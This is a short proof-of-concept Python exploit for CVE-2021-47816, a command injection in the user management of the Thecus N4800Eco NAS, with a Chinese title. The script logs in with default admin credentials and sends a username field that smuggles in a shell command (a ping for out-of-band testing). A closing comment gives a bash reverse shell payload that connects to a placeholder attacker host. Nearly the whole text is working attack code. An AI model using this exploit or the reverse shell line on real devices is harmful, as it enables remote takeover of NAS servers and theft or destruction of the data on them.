CVE-2021-47816 Thecus N4800Eco NAS命令注入漏洞

import requests # CVE-2021-47816 Thecus N4800Eco NAS Command Injection PoC # Target: Thecus N4800Eco NAS Server Control Panel # Vulnerability: Command Injection in user management target = "http://target-ip" username = "admin" password = "admin" # Authentication session = requests.Session() login_data = {"username": username, "password": password} login_url = f"{target}/login" session.post(login_url, data=login_data) # Command Injection via username parameter # Inject: ping -c 4 10.10.10.10 (DNS lookup for OOB testing) injected_username = "; ping -c 4 10.10.10.10; #" user_creation_url = f"{target}/api/user/add" payload = { "username": injected_username, "password": "test123", "email": "[email protected]" } response = session.post(user_creation_url, data=payload) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # Reverse shell payload example: # username = "; bash -i >& /dev/tcp/attacker-ip/4444 0>&1; #"